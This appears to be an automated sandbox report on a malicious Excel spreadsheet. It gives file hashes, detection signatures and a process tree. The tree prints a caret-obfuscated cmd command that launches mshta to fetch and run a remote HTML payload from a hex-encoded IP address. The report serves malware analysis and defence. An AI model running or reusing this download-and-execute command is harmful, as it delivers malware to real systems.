Analysis
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max time kernel
139s -
max time network
152s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
20-01-2022 12:09
Behavioral task
behavioral1
Sample
279edf8210c724455a6136187a1c62b8298d256dfa42875ee8c8695a49cd1257.xls
Resource
win10-en-20211208
General
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Target
279edf8210c724455a6136187a1c62b8298d256dfa42875ee8c8695a49cd1257.xls
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Size
142KB
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MD5
479ce294962829b0994744dd0a5bff14
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SHA1
ac79edae6353fb779e9dfad843193915e4667ce2
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SHA256
279edf8210c724455a6136187a1c62b8298d256dfa42875ee8c8695a49cd1257
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SHA512
1ddd7e68fa08763d43b10ce5211034049b22f9d8bb30b600f85b3279f4394890aaba2899623d7404f5975012d5494f83ee0357451393d3819e48e381afa7612d
Malware Config
Extracted
http://0xb907d607/fer/fer.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1800 3712 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
mshta.exeflow pid process 44 3100 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 3712 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
EXCEL.EXEpid process 3712 EXCEL.EXE 3712 EXCEL.EXE 3712 EXCEL.EXE 3712 EXCEL.EXE 3712 EXCEL.EXE 3712 EXCEL.EXE 3712 EXCEL.EXE 3712 EXCEL.EXE 3712 EXCEL.EXE 3712 EXCEL.EXE 3712 EXCEL.EXE 3712 EXCEL.EXE 3712 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEcmd.exedescription pid process target process PID 3712 wrote to memory of 2468 3712 EXCEL.EXE splwow64.exe PID 3712 wrote to memory of 2468 3712 EXCEL.EXE splwow64.exe PID 3712 wrote to memory of 1800 3712 EXCEL.EXE cmd.exe PID 3712 wrote to memory of 1800 3712 EXCEL.EXE cmd.exe PID 1800 wrote to memory of 3100 1800 cmd.exe mshta.exe PID 1800 wrote to memory of 3100 1800 cmd.exe mshta.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\279edf8210c724455a6136187a1c62b8298d256dfa42875ee8c8695a49cd1257.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3712 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:2468
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C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1800 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fer.html3⤵
- Blocklisted process makes network request
PID:3100